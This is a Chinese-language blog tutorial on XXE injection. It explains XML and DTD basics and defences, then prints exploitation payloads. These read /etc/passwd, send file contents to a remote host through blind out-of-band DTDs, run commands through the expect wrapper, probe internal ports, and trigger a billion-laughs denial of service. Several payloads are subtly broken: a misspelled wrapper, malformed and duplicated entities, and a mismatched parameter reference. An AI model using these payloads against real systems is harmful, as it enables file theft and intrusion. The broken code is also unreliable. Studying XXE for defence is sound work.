Ywc's blog

XXE漏洞总结

Word count: 2.7kReading time: 12 min
2018/11/19

如何检测XXE漏洞

首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.

  • 使用Burpsuite插件 Generic XXE Detector 来自动检测XXE漏洞
  • GET请求转换为POST请求,在Post中请求体中重新发送XML格式的数据
  • 删除请求URL中的查询参数和路径参数,删除掉查询参数后,会触发终端服务接收其他格式作为输入的一种模式
  • 添加Content-Type: application/xml请求头和一些不符合的无效XML作为请求体,可以得到XML的一些错误信息

XXE如何检测文章

XXE简介

XE(XML External Entity Injection) 全称为 XML 外部实体注入。

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站、DDOS攻击。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用.
一般格式为:

1
2
3
<!DOCTYPE 根元素 [元素声明]>

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD实体ENTITY,一般分为参数实体和内部实体;参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀;内部实体是指用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用;

1
2
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI">

XML中实体的用法如下:

1
2
3
<!DOCTYPE  文件名 [              //DTD
<!ENTITY 实体名 "实体内容"> //DTD实体ENTITY
]>

XXE的攻击与防御

危害

  • 读取任意文件
  • 命令执行
  • 内网探测/SSRF
  • 攻击内网网站
  • DDOS攻击

防御方法

方法1:
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法2:
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

利用

1.读取任意文件

有回显

XML.php

1
2
3
4
5
6
7
8
9
10
11
<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

无回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

1
2
3
4
5
6
7
8
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

2.命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装

1
2
3
4
5
6
7
8
9
10
11
<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

3.内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>

该CASE是探测192.168.0.100的80端口,通过返回的“Connection refused”可以知道该81端口是close还是open.

4.攻击内网网站

XXE漏洞总结

攻击内网struts2网站,远程执行系统命令。

5.DDOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml  version = "1.0" ?> 
<!DOCTYPE LOLZ [
<!ENTITY LOL ">
<!ELEMENT LOLZ (#PCDATA)>
<!ENTITY lol1 " > "LOL" >
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;" >
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" >
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" >
<!ENTITY lol4 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" >
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" >
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" >
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" >
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" >
]>
<lolz > &lol9; </ lolz >

当XML解析器加载这个文档时,它会看到它包含一个包含文本&lol9;的根元素lolz。不过,&lol9; 是一个定义的实体,扩展为包含十个&lol8;”的字符串 字符串。每个&lol8; 字符串是一个定义的实体,扩展为十个&lol7; 字符串等等。在所有的实体扩展处理之后,这个小的(<1 KB)的XML块实际上将包含10 9 = 10 亿个lol,占用了几乎3 GB的内存。

构造外部外部实体注入的方法

1.直接通过DTD外部实体声明

xml内容:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<value>&passwd;</value>
</a>

2.通过DTD文档引入外部DTD文档,再引入外部实体声明

xml内容:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%d;
]>
<aaa>&b;</aaa>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

3.通过DTD外部实体声明引入外部实体声明

xml内容:

1
2
3
4
5
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

支持的协议有:

XXE漏洞总结

PHP在安装扩展以后还能支持的协议:

XXE漏洞总结

xml基础知识

  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
  • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

XXE漏洞总结

简单的实例:

1
2
3
4
5
6
7
<?xml version=”1.0″?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don’t forget me this weekend!</body>
</note>

文档的第一行是一个应该经常包含的XML申明,它定义了XML文档的版本号,在这个例子中表示文档将使用XML1.0的规范<?xml version=”1.0″?>

下一行定义了文档里面的第一个元素(element),也称第一个元素为根元素:

再下面定义了根元素的四个子元素(分别是to, from, heading,和body): Tove Jani Reminder Don’t forget me this weekend!

最后一行定义了根元素的结束标志 ,所有的XML元素都必须要有一个结束标志。

DTD的概念

DTD文档类型定义,是一类可定义合法的XML文档构建模块。可以认为DTD定义了一种针对XML的格式描述,任何一个XML文件都可以引用。

XXE漏洞总结

XML提供了一个独立的运用程序的方法来共享数据.。使用DTD,不同的组中的人就能够使用共同的DTD来交换数据。你的应用程序可以使用这个标准的DTD来验证你接受到的数据是有效的。

上面引用过的那个XML转换成DTD的样式是这样:

XXE漏洞总结

DTD 可以在 XML 文档内声明,也可以外部引用。

1.内部声明:<!DOCTYPE 根元素 [元素声明]> eg:

完整实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

2.外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

完整实例:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

而note.dtd的内容为:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体

  • 1.一般实体的声明语法:

引用实体的方式:&实体名;

  • 2.参数实体只能在DTD中使用,参数实体的声明格式:

引用实体的方式:%实体名;

1.内部实体声明: ex:

完整实例:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

2.外部实体声明:

完整实例:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

blind xxe

当普通外部实体攻击得不到回显的时候,就可以使用带外数据通道。利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

evil.xml如下:

1
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

当过滤了<!ENTITY我们该怎么办呢?

这里给个bypass思路:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://vps/xxe.dtd">
<root>
<user>&xxe;</user>
</root>

参考文章:

https://www.jianshu.com/p/7325b2ef8fc9

https://www.cnblogs.com/r00tuser/p/7255939.html

K0rz3n师傅的文章

CATALOG
  1. 1. 如何检测XXE漏洞
  2. 2. XXE简介
  3. 3. XXE的攻击与防御
    1. 3.1. 危害
    2. 3.2. 防御方法
    3. 3.3. 利用
    4. 3.4. 构造外部外部实体注入的方法
  4. 4. xml基础知识
  5. 5. DTD的概念
  6. 6. DTD实体
  7. 7. blind xxe